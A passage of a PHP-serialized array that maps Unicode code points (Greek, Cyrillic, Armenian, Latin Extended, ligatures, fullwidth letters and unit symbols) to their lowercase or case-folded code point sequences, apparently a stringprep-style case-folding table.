489;}i:490;a:1:{i:0;i:491;}i:492;a:1:{i:0;i:493;}i:494;a:1:{i:0;i:495;}i:496;a:2:{i:0;i:106;i:1;i:780;}i:497;a:1:{i:0;i:499;}i:498;a:1:{i:0;i:499;}i:500;a:1:{i:0;i:501;}i:502;a:1:{i:0;i:405;}i:503;a:1:{i:0;i:447;}i:504;a:1:{i:0;i:505;}i:506;a:1:{i:0;i:507;}i:508;a:1:{i:0;i:509;}i:510;a:1:{i:0;i:511;}i:512;a:1:{i:0;i:513;}i:514;a:1:{i:0;i:515;}i:516;a:1:{i:0;i:517;}i:518;a:1:{i:0;i:519;}i:520;a:1:{i:0;i:521;}i:522;a:1:{i:0;i:523;}i:524;a:1:{i:0;i:525;}i:526;a:1:{i:0;i:527;}i:528;a:1:{i:0;i:529;}i:530;a:1:{i:0;i:531;}i:532;a:1:{i:0;i:533;}i:534;a:1:{i:0;i:535;}i:536;a:1:{i:0;i:537;}i:538;a:1:{i:0;i:539;}i:540;a:1:{i:0;i:541;}i:542;a:1:{i:0;i:543;}i:544;a:1:{i:0;i:414;}i:546;a:1:{i:0;i:547;}i:548;a:1:{i:0;i:549;}i:550;a:1:{i:0;i:551;}i:552;a:1:{i:0;i:553;}i:554;a:1:{i:0;i:555;}i:556;a:1:{i:0;i:557;}i:558;a:1:{i:0;i:559;}i:560;a:1:{i:0;i:561;}i:562;a:1:{i:0;i:563;}i:837;a:1:{i:0;i:953;}i:890;a:2:{i:0;i:32;i:1;i:953;}i:902;a:1:{i:0;i:940;}i:904;a:1:{i:0;i:941;}i:905;a:1:{i:0;i:942;}i:906;a:1:{i:0;i:943;}i:908;a:1:{i:0;i:972;}i:910;a:1:{i:0;i:973;}i:911;a:1:{i:0;i:974;}i:912;a:3:{i:0;i:953;i:1;i:776;i:2;i:769;}i:913;a:1:{i:0;i:945;}i:914;a:1:{i:0;i:946;}i:915;a:1:{i:0;i:947;}i:916;a:1:{i:0;i:948;}i:917;a:1:{i:0;i:949;}i:918;a:1:{i:0;i:950;}i:919;a:1:{i:0;i:951;}i:920;a:1:{i:0;i:952;}i:921;a:1:{i:0;i:953;}i:922;a:1:{i:0;i:954;}i:923;a:1:{i:0;i:955;}i:924;a:1:{i:0;i:956;}i:925;a:1:{i:0;i:957;}i:926;a:1:{i:0;i:958;}i:927;a:1:{i:0;i:959;}i:928;a:1:{i:0;i:960;}i:929;a:1:{i:0;i:961;}i:931;a:1:{i:0;i:963;}i:932;a:1:{i:0;i:964;}i:933;a:1:{i:0;i:965;}i:934;a:1:{i:0;i:966;}i:935;a:1:{i:0;i:967;}i:936;a:1:{i:0;i:968;}i:937;a:1:{i:0;i:969;}i:938;a:1:{i:0;i:970;}i:939;a:1:{i:0;i:971;}i:944;a:3:{i:0;i:965;i:1;i:776;i:2;i:769;}i:962;a:1:{i:0;i:963;}i:976;a:1:{i:0;i:946;}i:977;a:1:{i:0;i:952;}i:978;a:1:{i:0;i:965;}i:979;a:1:{i:0;i:973;}i:980;a:1:{i:0;i:971;}i:981;a:1:{i:0;i:966;}i:982;a:1:{i:0;i:960;}i:984;a:1:{i:0;i:985;}i:986;a:1:{i:0;i:987;}i:988;a:1:{i:0;i:989;}i:990;a:1:{i:0;i:991;}i:992;a:1:{i:0;i:993;}i:994;a:1:{i:0;i:995;}i:996;a:1:{i:0;i:997;}i:998;a:1:{i:0;i:999;}i:1000;a:1:{i:0;i:1001;}i:1002;a:1:{i:0;i:1003;}i:1004;a:1:{i:0;i:1005;}i:1006;a:1:{i:0;i:1007;}i:1008;a:1:{i:0;i:954;}i:1009;a:1:{i:0;i:961;}i:1010;a:1:{i:0;i:963;}i:1012;a:1:{i:0;i:952;}i:1013;a:1:{i:0;i:949;}i:1024;a:1:{i:0;i:1104;}i:1025;a:1:{i:0;i:1105;}i:1026;a:1:{i:0;i:1106;}i:1027;a:1:{i:0;i:1107;}i:1028;a:1:{i:0;i:1108;}i:1029;a:1:{i:0;i:1109;}i:1030;a:1:{i:0;i:1110;}i:1031;a:1:{i:0;i:1111;}i:1032;a:1:{i:0;i:1112;}i:1033;a:1:{i:0;i:1113;}i:1034;a:1:{i:0;i:1114;}i:1035;a:1:{i:0;i:1115;}i:1036;a:1:{i:0;i:1116;}i:1037;a:1:{i:0;i:1117;}i:1038;a:1:{i:0;i:1118;}i:1039;a:1:{i:0;i:1119;}i:1040;a:1:{i:0;i:1072;}i:1041;a:1:{i:0;i:1073;}i:1042;a:1:{i:0;i:1074;}i:1043;a:1:{i:0;i:1075;}i:1044;a:1:{i:0;i:1076;}i:1045;a:1:{i:0;i:1077;}i:1046;a:1:{i:0;i:1078;}i:1047;a:1:{i:0;i:1079;}i:1048;a:1:{i:0;i:1080;}i:1049;a:1:{i:0;i:1081;}i:1050;a:1:{i:0;i:1082;}i:1051;a:1:{i:0;i:1083;}i:1052;a:1:{i:0;i:1084;}i:1053;a:1:{i:0;i:1085;}i:1054;a:1:{i:0;i:1086;}i:1055;a:1:{i:0;i:1087;}i:1056;a:1:{i:0;i:1088;}i:1057;a:1:{i:0;i:1089;}i:1058;a:1:{i:0;i:1090;}i:1059;a:1:{i:0;i:1091;}i:1060;a:1:{i:0;i:1092;}i:1061;a:1:{i:0;i:1093;}i:1062;a:1:{i:0;i:1094;}i:1063;a:1:{i:0;i:1095;}i:1064;a:1:{i:0;i:1096;}i:1065;a:1:{i:0;i:1097;}i:1066;a:1:{i:0;i:1098;}i:1067;a:1:{i:0;i:1099;}i:1068;a:1:{i:0;i:1100;}i:1069;a:1:{i:0;i:1101;}i:1070;a:1:{i:0;i:1102;}i:1071;a:1:{i:0;i:1103;}i:1120;a:1:{i:0;i:1121;}i:1122;a:1:{i:0;i:1123;}i:1124;a:1:{i:0;i:1125;}i:1126;a:1:{i:0;i:1127;}i:1128;a:1:{i:0;i:1129;}i:1130;a:1:{i:0;i:1131;}i:1132;a:1:{i:0;i:1133;}i:1134;a:1:{i:0;i:1135;}i:1136;a:1:{i:0;i:1137;}i:1138;a:1:{i:0;i:1139;}i:1140;a:1:{i:0;i:1141;}i:1142;a:1:{i:0;i:1143;}i:1144;a:1:{i:0;i:1145;}i:1146;a:1:{i:0;i:1147;}i:1148;a:1:{i:0;i:1149;}i:1150;a:1:{i:0;i:1151;}i:1152;a:1:{i:0;i:1153;}i:1162;a:1:{i:0;i:1163;}i:1164;a:1:{i:0;i:1165;}i:1166;a:1:{i:0;i:1167;}i:1168;a:1:{i:0;i:1169;}i:1170;a:1:{i:0;i:1171;}i:1172;a:1:{i:0;i:1173;}i:1174;a:1:{i:0;i:1175;}i:1176;a:1:{i:0;i:1177;}i:1178;a:1:{i:0;i:1179;}i:1180;a:1:{i:0;i:1181;}i:1182;a:1:{i:0;i:1183;}i:1184;a:1:{i:0;i:1185;}i:1186;a:1:{i:0;i:1187;}i:1188;a:1:{i:0;i:1189;}i:1190;a:1:{i:0;i:1191;}i:1192;a:1:{i:0;i:1193;}i:1194;a:1:{i:0;i:1195;}i:1196;a:1:{i:0;i:1197;}i:1198;a:1:{i:0;i:1199;}i:1200;a:1:{i:0;i:1201;}i:1202;a:1:{i:0;i:1203;}i:1204;a:1:{i:0;i:1205;}i:1206;a:1:{i:0;i:1207;}i:1208;a:1:{i:0;i:1209;}i:1210;a:1:{i:0;i:1211;}i:1212;a:1:{i:0;i:1213;}i:1214;a:1:{i:0;i:1215;}i:1217;a:1:{i:0;i:1218;}i:1219;a:1:{i:0;i:1220;}i:1221;a:1:{i:0;i:1222;}i:1223;a:1:{i:0;i:1224;}i:1225;a:1:{i:0;i:1226;}i:1227;a:1:{i:0;i:1228;}i:1229;a:1:{i:0;i:1230;}i:1232;a:1:{i:0;i:1233;}i:1234;a:1:{i:0;i:1235;}i:1236;a:1:{i:0;i:1237;}i:1238;a:1:{i:0;i:1239;}i:1240;a:1:{i:0;i:1241;}i:1242;a:1:{i:0;i:1243;}i:1244;a:1:{i:0;i:1245;}i:1246;a:1:{i:0;i:1247;}i:1248;a:1:{i:0;i:1249;}i:1250;a:1:{i:0;i:1251;}i:1252;a:1:{i:0;i:1253;}i:1254;a:1:{i:0;i:1255;}i:1256;a:1:{i:0;i:1257;}i:1258;a:1:{i:0;i:1259;}i:1260;a:1:{i:0;i:1261;}i:1262;a:1:{i:0;i:1263;}i:1264;a:1:{i:0;i:1265;}i:1266;a:1:{i:0;i:1267;}i:1268;a:1:{i:0;i:1269;}i:1272;a:1:{i:0;i:1273;}i:1280;a:1:{i:0;i:1281;}i:1282;a:1:{i:0;i:1283;}i:1284;a:1:{i:0;i:1285;}i:1286;a:1:{i:0;i:1287;}i:1288;a:1:{i:0;i:1289;}i:1290;a:1:{i:0;i:1291;}i:1292;a:1:{i:0;i:1293;}i:1294;a:1:{i:0;i:1295;}i:1329;a:1:{i:0;i:1377;}i:1330;a:1:{i:0;i:1378;}i:1331;a:1:{i:0;i:1379;}i:1332;a:1:{i:0;i:1380;}i:1333;a:1:{i:0;i:1381;}i:1334;a:1:{i:0;i:1382;}i:1335;a:1:{i:0;i:1383;}i:1336;a:1:{i:0;i:1384;}i:1337;a:1:{i:0;i:1385;}i:1338;a:1:{i:0;i:1386;}i:1339;a:1:{i:0;i:1387;}i:1340;a:1:{i:0;i:1388;}i:1341;a:1:{i:0;i:1389;}i:1342;a:1:{i:0;i:1390;}i:1343;a:1:{i:0;i:1391;}i:1344;a:1:{i:0;i:1392;}i:1345;a:1:{i:0;i:1393;}i:1346;a:1:{i:0;i:1394;}i:1347;a:1:{i:0;i:1395;}i:1348;a:1:{i:0;i:1396;}i:1349;a:1:{i:0;i:1397;}i:1350;a:1:{i:0;i:1398;}i:1351;a:1:{i:0;i:1399;}i:1352;a:1:{i:0;i:1400;}i:1353;a:1:{i:0;i:1401;}i:1354;a:1:{i:0;i:1402;}i:1355;a:1:{i:0;i:1403;}i:1356;a:1:{i:0;i:1404;}i:1357;a:1:{i:0;i:1405;}i:1358;a:1:{i:0;i:1406;}i:1359;a:1:{i:0;i:1407;}i:1360;a:1:{i:0;i:1408;}i:1361;a:1:{i:0;i:1409;}i:1362;a:1:{i:0;i:1410;}i:1363;a:1:{i:0;i:1411;}i:1364;a:1:{i:0;i:1412;}i:1365;a:1:{i:0;i:1413;}i:1366;a:1:{i:0;i:1414;}i:1415;a:2:{i:0;i:1381;i:1;i:1410;}i:7680;a:1:{i:0;i:7681;}i:7682;a:1:{i:0;i:7683;}i:7684;a:1:{i:0;i:7685;}i:7686;a:1:{i:0;i:7687;}i:7688;a:1:{i:0;i:7689;}i:7690;a:1:{i:0;i:7691;}i:7692;a:1:{i:0;i:7693;}i:7694;a:1:{i:0;i:7695;}i:7696;a:1:{i:0;i:7697;}i:7698;a:1:{i:0;i:7699;}i:7700;a:1:{i:0;i:7701;}i:7702;a:1:{i:0;i:7703;}i:7704;a:1:{i:0;i:7705;}i:7706;a:1:{i:0;i:7707;}i:7708;a:1:{i:0;i:7709;}i:7710;a:1:{i:0;i:7711;}i:7712;a:1:{i:0;i:7713;}i:7714;a:1:{i:0;i:7715;}i:7716;a:1:{i:0;i:7717;}i:7718;a:1:{i:0;i:7719;}i:7720;a:1:{i:0;i:7721;}i:7722;a:1:{i:0;i:7723;}i:7724;a:1:{i:0;i:7725;}i:7726;a:1:{i:0;i:7727;}i:7728;a:1:{i:0;i:7729;}i:7730;a:1:{i:0;i:7731;}i:7732;a:1:{i:0;i:7733;}i:7734;a:1:{i:0;i:7735;}i:7736;a:1:{i:0;i:7737;}i:7738;a:1:{i:0;i:7739;}i:7740;a:1:{i:0;i:7741;}i:7742;a:1:{i:0;i:7743;}i:7744;a:1:{i:0;i:7745;}i:7746;a:1:{i:0;i:7747;}i:7748;a:1:{i:0;i:7749;}i:7750;a:1:{i:0;i:7751;}i:7752;a:1:{i:0;i:7753;}i:7754;a:1:{i:0;i:7755;}i:7756;a:1:{i:0;i:7757;}i:7758;a:1:{i:0;i:7759;}i:7760;a:1:{i:0;i:7761;}i:7762;a:1:{i:0;i:7763;}i:7764;a:1:{i:0;i:7765;}i:7766;a:1:{i:0;i:7767;}i:7768;a:1:{i:0;i:7769;}i:7770;a:1:{i:0;i:7771;}i:7772;a:1:{i:0;i:7773;}i:7774;a:1:{i:0;i:7775;}i:7776;a:1:{i:0;i:7777;}i:7778;a:1:{i:0;i:7779;}i:7780;a:1:{i:0;i:7781;}i:7782;a:1:{i:0;i:7783;}i:7784;a:1:{i:0;i:7785;}i:7786;a:1:{i:0;i:7787;}i:7788;a:1:{i:0;i:7789;}i:7790;a:1:{i:0;i:7791;}i:7792;a:1:{i:0;i:7793;}i:7794;a:1:{i:0;i:7795;}i:7796;a:1:{i:0;i:7797;}i:7798;a:1:{i:0;i:7799;}i:7800;a:1:{i:0;i:7801;}i:7802;a:1:{i:0;i:7803;}i:7804;a:1:{i:0;i:7805;}i:7806;a:1:{i:0;i:7807;}i:7808;a:1:{i:0;i:7809;}i:7810;a:1:{i:0;i:7811;}i:7812;a:1:{i:0;i:7813;}i:7814;a:1:{i:0;i:7815;}i:7816;a:1:{i:0;i:7817;}i:7818;a:1:{i:0;i:7819;}i:7820;a:1:{i:0;i:7821;}i:7822;a:1:{i:0;i:7823;}i:7824;a:1:{i:0;i:7825;}i:7826;a:1:{i:0;i:7827;}i:7828;a:1:{i:0;i:7829;}i:7830;a:2:{i:0;i:104;i:1;i:817;}i:7831;a:2:{i:0;i:116;i:1;i:776;}i:7832;a:2:{i:0;i:119;i:1;i:778;}i:7833;a:2:{i:0;i:121;i:1;i:778;}i:7834;a:2:{i:0;i:97;i:1;i:702;}i:7835;a:1:{i:0;i:7777;}i:7840;a:1:{i:0;i:7841;}i:7842;a:1:{i:0;i:7843;}i:7844;a:1:{i:0;i:7845;}i:7846;a:1:{i:0;i:7847;}i:7848;a:1:{i:0;i:7849;}i:7850;a:1:{i:0;i:7851;}i:7852;a:1:{i:0;i:7853;}i:7854;a:1:{i:0;i:7855;}i:7856;a:1:{i:0;i:7857;}i:7858;a:1:{i:0;i:7859;}i:7860;a:1:{i:0;i:7861;}i:7862;a:1:{i:0;i:7863;}i:7864;a:1:{i:0;i:7865;}i:7866;a:1:{i:0;i:7867;}i:7868;a:1:{i:0;i:7869;}i:7870;a:1:{i:0;i:7871;}i:7872;a:1:{i:0;i:7873;}i:7874;a:1:{i:0;i:7875;}i:7876;a:1:{i:0;i:7877;}i:7878;a:1:{i:0;i:7879;}i:7880;a:1:{i:0;i:7881;}i:7882;a:1:{i:0;i:7883;}i:7884;a:1:{i:0;i:7885;}i:7886;a:1:{i:0;i:7887;}i:7888;a:1:{i:0;i:7889;}i:7890;a:1:{i:0;i:7891;}i:7892;a:1:{i:0;i:7893;}i:7894;a:1:{i:0;i:7895;}i:7896;a:1:{i:0;i:7897;}i:7898;a:1:{i:0;i:7899;}i:7900;a:1:{i:0;i:7901;}i:7902;a:1:{i:0;i:7903;}i:7904;a:1:{i:0;i:7905;}i:7906;a:1:{i:0;i:7907;}i:7908;a:1:{i:0;i:7909;}i:7910;a:1:{i:0;i:7911;}i:7912;a:1:{i:0;i:7913;}i:7914;a:1:{i:0;i:7915;}i:7916;a:1:{i:0;i:7917;}i:7918;a:1:{i:0;i:7919;}i:7920;a:1:{i:0;i:7921;}i:7922;a:1:{i:0;i:7923;}i:7924;a:1:{i:0;i:7925;}i:7926;a:1:{i:0;i:7927;}i:7928;a:1:{i:0;i:7929;}i:7944;a:1:{i:0;i:7936;}i:7945;a:1:{i:0;i:7937;}i:7946;a:1:{i:0;i:7938;}i:7947;a:1:{i:0;i:7939;}i:7948;a:1:{i:0;i:7940;}i:7949;a:1:{i:0;i:7941;}i:7950;a:1:{i:0;i:7942;}i:7951;a:1:{i:0;i:7943;}i:7960;a:1:{i:0;i:7952;}i:7961;a:1:{i:0;i:7953;}i:7962;a:1:{i:0;i:7954;}i:7963;a:1:{i:0;i:7955;}i:7964;a:1:{i:0;i:7956;}i:7965;a:1:{i:0;i:7957;}i:7976;a:1:{i:0;i:7968;}i:7977;a:1:{i:0;i:7969;}i:7978;a:1:{i:0;i:7970;}i:7979;a:1:{i:0;i:7971;}i:7980;a:1:{i:0;i:7972;}i:7981;a:1:{i:0;i:7973;}i:7982;a:1:{i:0;i:7974;}i:7983;a:1:{i:0;i:7975;}i:7992;a:1:{i:0;i:7984;}i:7993;a:1:{i:0;i:7985;}i:7994;a:1:{i:0;i:7986;}i:7995;a:1:{i:0;i:7987;}i:7996;a:1:{i:0;i:7988;}i:7997;a:1:{i:0;i:7989;}i:7998;a:1:{i:0;i:7990;}i:7999;a:1:{i:0;i:7991;}i:8008;a:1:{i:0;i:8000;}i:8009;a:1:{i:0;i:8001;}i:8010;a:1:{i:0;i:8002;}i:8011;a:1:{i:0;i:8003;}i:8012;a:1:{i:0;i:8004;}i:8013;a:1:{i:0;i:8005;}i:8016;a:2:{i:0;i:965;i:1;i:787;}i:8018;a:3:{i:0;i:965;i:1;i:787;i:2;i:768;}i:8020;a:3:{i:0;i:965;i:1;i:787;i:2;i:769;}i:8022;a:3:{i:0;i:965;i:1;i:787;i:2;i:834;}i:8025;a:1:{i:0;i:8017;}i:8027;a:1:{i:0;i:8019;}i:8029;a:1:{i:0;i:8021;}i:8031;a:1:{i:0;i:8023;}i:8040;a:1:{i:0;i:8032;}i:8041;a:1:{i:0;i:8033;}i:8042;a:1:{i:0;i:8034;}i:8043;a:1:{i:0;i:8035;}i:8044;a:1:{i:0;i:8036;}i:8045;a:1:{i:0;i:8037;}i:8046;a:1:{i:0;i:8038;}i:8047;a:1:{i:0;i:8039;}i:8064;a:2:{i:0;i:7936;i:1;i:953;}i:8065;a:2:{i:0;i:7937;i:1;i:953;}i:8066;a:2:{i:0;i:7938;i:1;i:953;}i:8067;a:2:{i:0;i:7939;i:1;i:953;}i:8068;a:2:{i:0;i:7940;i:1;i:953;}i:8069;a:2:{i:0;i:7941;i:1;i:953;}i:8070;a:2:{i:0;i:7942;i:1;i:953;}i:8071;a:2:{i:0;i:7943;i:1;i:953;}i:8072;a:2:{i:0;i:7936;i:1;i:953;}i:8073;a:2:{i:0;i:7937;i:1;i:953;}i:8074;a:2:{i:0;i:7938;i:1;i:953;}i:8075;a:2:{i:0;i:7939;i:1;i:953;}i:8076;a:2:{i:0;i:7940;i:1;i:953;}i:8077;a:2:{i:0;i:7941;i:1;i:953;}i:8078;a:2:{i:0;i:7942;i:1;i:953;}i:8079;a:2:{i:0;i:7943;i:1;i:953;}i:8080;a:2:{i:0;i:7968;i:1;i:953;}i:8081;a:2:{i:0;i:7969;i:1;i:953;}i:8082;a:2:{i:0;i:7970;i:1;i:953;}i:8083;a:2:{i:0;i:7971;i:1;i:953;}i:8084;a:2:{i:0;i:7972;i:1;i:953;}i:8085;a:2:{i:0;i:7973;i:1;i:953;}i:8086;a:2:{i:0;i:7974;i:1;i:953;}i:8087;a:2:{i:0;i:7975;i:1;i:953;}i:8088;a:2:{i:0;i:7968;i:1;i:953;}i:8089;a:2:{i:0;i:7969;i:1;i:953;}i:8090;a:2:{i:0;i:7970;i:1;i:953;}i:8091;a:2:{i:0;i:7971;i:1;i:953;}i:8092;a:2:{i:0;i:7972;i:1;i:953;}i:8093;a:2:{i:0;i:7973;i:1;i:953;}i:8094;a:2:{i:0;i:7974;i:1;i:953;}i:8095;a:2:{i:0;i:7975;i:1;i:953;}i:8096;a:2:{i:0;i:8032;i:1;i:953;}i:8097;a:2:{i:0;i:8033;i:1;i:953;}i:8098;a:2:{i:0;i:8034;i:1;i:953;}i:8099;a:2:{i:0;i:8035;i:1;i:953;}i:8100;a:2:{i:0;i:8036;i:1;i:953;}i:8101;a:2:{i:0;i:8037;i:1;i:953;}i:8102;a:2:{i:0;i:8038;i:1;i:953;}i:8103;a:2:{i:0;i:8039;i:1;i:953;}i:8104;a:2:{i:0;i:8032;i:1;i:953;}i:8105;a:2:{i:0;i:8033;i:1;i:953;}i:8106;a:2:{i:0;i:8034;i:1;i:953;}i:8107;a:2:{i:0;i:8035;i:1;i:953;}i:8108;a:2:{i:0;i:8036;i:1;i:953;}i:8109;a:2:{i:0;i:8037;i:1;i:953;}i:8110;a:2:{i:0;i:8038;i:1;i:953;}i:8111;a:2:{i:0;i:8039;i:1;i:953;}i:8114;a:2:{i:0;i:8048;i:1;i:953;}i:8115;a:2:{i:0;i:945;i:1;i:953;}i:8116;a:2:{i:0;i:940;i:1;i:953;}i:8118;a:2:{i:0;i:945;i:1;i:834;}i:8119;a:3:{i:0;i:945;i:1;i:834;i:2;i:953;}i:8120;a:1:{i:0;i:8112;}i:8121;a:1:{i:0;i:8113;}i:8122;a:1:{i:0;i:8048;}i:8123;a:1:{i:0;i:8049;}i:8124;a:2:{i:0;i:945;i:1;i:953;}i:8126;a:1:{i:0;i:953;}i:8130;a:2:{i:0;i:8052;i:1;i:953;}i:8131;a:2:{i:0;i:951;i:1;i:953;}i:8132;a:2:{i:0;i:942;i:1;i:953;}i:8134;a:2:{i:0;i:951;i:1;i:834;}i:8135;a:3:{i:0;i:951;i:1;i:834;i:2;i:953;}i:8136;a:1:{i:0;i:8050;}i:8137;a:1:{i:0;i:8051;}i:8138;a:1:{i:0;i:8052;}i:8139;a:1:{i:0;i:8053;}i:8140;a:2:{i:0;i:951;i:1;i:953;}i:8146;a:3:{i:0;i:953;i:1;i:776;i:2;i:768;}i:8147;a:3:{i:0;i:953;i:1;i:776;i:2;i:769;}i:8150;a:2:{i:0;i:953;i:1;i:834;}i:8151;a:3:{i:0;i:953;i:1;i:776;i:2;i:834;}i:8152;a:1:{i:0;i:8144;}i:8153;a:1:{i:0;i:8145;}i:8154;a:1:{i:0;i:8054;}i:8155;a:1:{i:0;i:8055;}i:8162;a:3:{i:0;i:965;i:1;i:776;i:2;i:768;}i:8163;a:3:{i:0;i:965;i:1;i:776;i:2;i:769;}i:8164;a:2:{i:0;i:961;i:1;i:787;}i:8166;a:2:{i:0;i:965;i:1;i:834;}i:8167;a:3:{i:0;i:965;i:1;i:776;i:2;i:834;}i:8168;a:1:{i:0;i:8160;}i:8169;a:1:{i:0;i:8161;}i:8170;a:1:{i:0;i:8058;}i:8171;a:1:{i:0;i:8059;}i:8172;a:1:{i:0;i:8165;}i:8178;a:2:{i:0;i:8060;i:1;i:953;}i:8179;a:2:{i:0;i:969;i:1;i:953;}i:8180;a:2:{i:0;i:974;i:1;i:953;}i:8182;a:2:{i:0;i:969;i:1;i:834;}i:8183;a:3:{i:0;i:969;i:1;i:834;i:2;i:953;}i:8184;a:1:{i:0;i:8056;}i:8185;a:1:{i:0;i:8057;}i:8186;a:1:{i:0;i:8060;}i:8187;a:1:{i:0;i:8061;}i:8188;a:2:{i:0;i:969;i:1;i:953;}i:8360;a:2:{i:0;i:114;i:1;i:115;}i:8450;a:1:{i:0;i:99;}i:8451;a:2:{i:0;i:176;i:1;i:99;}i:8455;a:1:{i:0;i:603;}i:8457;a:2:{i:0;i:176;i:1;i:102;}i:8459;a:1:{i:0;i:104;}i:8460;a:1:{i:0;i:104;}i:8461;a:1:{i:0;i:104;}i:8464;a:1:{i:0;i:105;}i:8465;a:1:{i:0;i:105;}i:8466;a:1:{i:0;i:108;}i:8469;a:1:{i:0;i:110;}i:8470;a:2:{i:0;i:110;i:1;i:111;}i:8473;a:1:{i:0;i:112;}i:8474;a:1:{i:0;i:113;}i:8475;a:1:{i:0;i:114;}i:8476;a:1:{i:0;i:114;}i:8477;a:1:{i:0;i:114;}i:8480;a:2:{i:0;i:115;i:1;i:109;}i:8481;a:3:{i:0;i:116;i:1;i:101;i:2;i:108;}i:8482;a:2:{i:0;i:116;i:1;i:109;}i:8484;a:1:{i:0;i:122;}i:8486;a:1:{i:0;i:969;}i:8488;a:1:{i:0;i:122;}i:8490;a:1:{i:0;i:107;}i:8491;a:1:{i:0;i:229;}i:8492;a:1:{i:0;i:98;}i:8493;a:1:{i:0;i:99;}i:8496;a:1:{i:0;i:101;}i:8497;a:1:{i:0;i:102;}i:8499;a:1:{i:0;i:109;}i:8510;a:1:{i:0;i:947;}i:8511;a:1:{i:0;i:960;}i:8517;a:1:{i:0;i:100;}i:8544;a:1:{i:0;i:8560;}i:8545;a:1:{i:0;i:8561;}i:8546;a:1:{i:0;i:8562;}i:8547;a:1:{i:0;i:8563;}i:8548;a:1:{i:0;i:8564;}i:8549;a:1:{i:0;i:8565;}i:8550;a:1:{i:0;i:8566;}i:8551;a:1:{i:0;i:8567;}i:8552;a:1:{i:0;i:8568;}i:8553;a:1:{i:0;i:8569;}i:8554;a:1:{i:0;i:8570;}i:8555;a:1:{i:0;i:8571;}i:8556;a:1:{i:0;i:8572;}i:8557;a:1:{i:0;i:8573;}i:8558;a:1:{i:0;i:8574;}i:8559;a:1:{i:0;i:8575;}i:9398;a:1:{i:0;i:9424;}i:9399;a:1:{i:0;i:9425;}i:9400;a:1:{i:0;i:9426;}i:9401;a:1:{i:0;i:9427;}i:9402;a:1:{i:0;i:9428;}i:9403;a:1:{i:0;i:9429;}i:9404;a:1:{i:0;i:9430;}i:9405;a:1:{i:0;i:9431;}i:9406;a:1:{i:0;i:9432;}i:9407;a:1:{i:0;i:9433;}i:9408;a:1:{i:0;i:9434;}i:9409;a:1:{i:0;i:9435;}i:9410;a:1:{i:0;i:9436;}i:9411;a:1:{i:0;i:9437;}i:9412;a:1:{i:0;i:9438;}i:9413;a:1:{i:0;i:9439;}i:9414;a:1:{i:0;i:9440;}i:9415;a:1:{i:0;i:9441;}i:9416;a:1:{i:0;i:9442;}i:9417;a:1:{i:0;i:9443;}i:9418;a:1:{i:0;i:9444;}i:9419;a:1:{i:0;i:9445;}i:9420;a:1:{i:0;i:9446;}i:9421;a:1:{i:0;i:9447;}i:9422;a:1:{i:0;i:9448;}i:9423;a:1:{i:0;i:9449;}i:13169;a:3:{i:0;i:104;i:1;i:112;i:2;i:97;}i:13171;a:2:{i:0;i:97;i:1;i:117;}i:13173;a:2:{i:0;i:111;i:1;i:118;}i:13184;a:2:{i:0;i:112;i:1;i:97;}i:13185;a:2:{i:0;i:110;i:1;i:97;}i:13186;a:2:{i:0;i:956;i:1;i:97;}i:13187;a:2:{i:0;i:109;i:1;i:97;}i:13188;a:2:{i:0;i:107;i:1;i:97;}i:13189;a:2:{i:0;i:107;i:1;i:98;}i:13190;a:2:{i:0;i:109;i:1;i:98;}i:13191;a:2:{i:0;i:103;i:1;i:98;}i:13194;a:2:{i:0;i:112;i:1;i:102;}i:13195;a:2:{i:0;i:110;i:1;i:102;}i:13196;a:2:{i:0;i:956;i:1;i:102;}i:13200;a:2:{i:0;i:104;i:1;i:122;}i:13201;a:3:{i:0;i:107;i:1;i:104;i:2;i:122;}i:13202;a:3:{i:0;i:109;i:1;i:104;i:2;i:122;}i:13203;a:3:{i:0;i:103;i:1;i:104;i:2;i:122;}i:13204;a:3:{i:0;i:116;i:1;i:104;i:2;i:122;}i:13225;a:2:{i:0;i:112;i:1;i:97;}i:13226;a:3:{i:0;i:107;i:1;i:112;i:2;i:97;}i:13227;a:3:{i:0;i:109;i:1;i:112;i:2;i:97;}i:13228;a:3:{i:0;i:103;i:1;i:112;i:2;i:97;}i:13236;a:2:{i:0;i:112;i:1;i:118;}i:13237;a:2:{i:0;i:110;i:1;i:118;}i:13238;a:2:{i:0;i:956;i:1;i:118;}i:13239;a:2:{i:0;i:109;i:1;i:118;}i:13240;a:2:{i:0;i:107;i:1;i:118;}i:13241;a:2:{i:0;i:109;i:1;i:118;}i:13242;a:2:{i:0;i:112;i:1;i:119;}i:13243;a:2:{i:0;i:110;i:1;i:119;}i:13244;a:2:{i:0;i:956;i:1;i:119;}i:13245;a:2:{i:0;i:109;i:1;i:119;}i:13246;a:2:{i:0;i:107;i:1;i:119;}i:13247;a:2:{i:0;i:109;i:1;i:119;}i:13248;a:2:{i:0;i:107;i:1;i:969;}i:13249;a:2:{i:0;i:109;i:1;i:969;}i:13251;a:2:{i:0;i:98;i:1;i:113;}i:13254;a:4:{i:0;i:99;i:1;i:8725;i:2;i:107;i:3;i:103;}i:13255;a:3:{i:0;i:99;i:1;i:111;i:2;i:46;}i:13256;a:2:{i:0;i:100;i:1;i:98;}i:13257;a:2:{i:0;i:103;i:1;i:121;}i:13259;a:2:{i:0;i:104;i:1;i:112;}i:13261;a:2:{i:0;i:107;i:1;i:107;}i:13262;a:2:{i:0;i:107;i:1;i:109;}i:13271;a:2:{i:0;i:112;i:1;i:104;}i:13273;a:3:{i:0;i:112;i:1;i:112;i:2;i:109;}i:13274;a:2:{i:0;i:112;i:1;i:114;}i:13276;a:2:{i:0;i:115;i:1;i:118;}i:13277;a:2:{i:0;i:119;i:1;i:98;}i:64256;a:2:{i:0;i:102;i:1;i:102;}i:64257;a:2:{i:0;i:102;i:1;i:105;}i:64258;a:2:{i:0;i:102;i:1;i:108;}i:64259;a:3:{i:0;i:102;i:1;i:102;i:2;i:105;}i:64260;a:3:{i:0;i:102;i:1;i:102;i:2;i:108;}i:64261;a:2:{i:0;i:115;i:1;i:116;}i:64262;a:2:{i:0;i:115;i:1;i:116;}i:64275;a:2:{i:0;i:1396;i:1;i:1398;}i:64276;a:2:{i:0;i:1396;i:1;i:1381;}i:64277;a:2:{i:0;i:1396;i:1;i:1387;}i:64278;a:2:{i:0;i:1406;i:1;i:1398;}i:64279;a:2:{i:0;i:1396;i:1;i:1389;}i:65313;a:1:{i:0;i:65345;}i:65314;a:1:{i:0;i:65346;}i:65315;a:1:{i:0;i:65347;}i:65316;a:1:{i:0;i:65348;}i:65317;a:1:{i:0;i:65349;}i:65318;a:1:{i:0;i:65350;}i:65319;a:1:{i:0;i:65351;}i:65320;a:1:{i:0;i:65352;}i:65321;a:1:{i:0;i:65353;}i:65322;a:1:{i:0;i:65354;}i:65323;a:1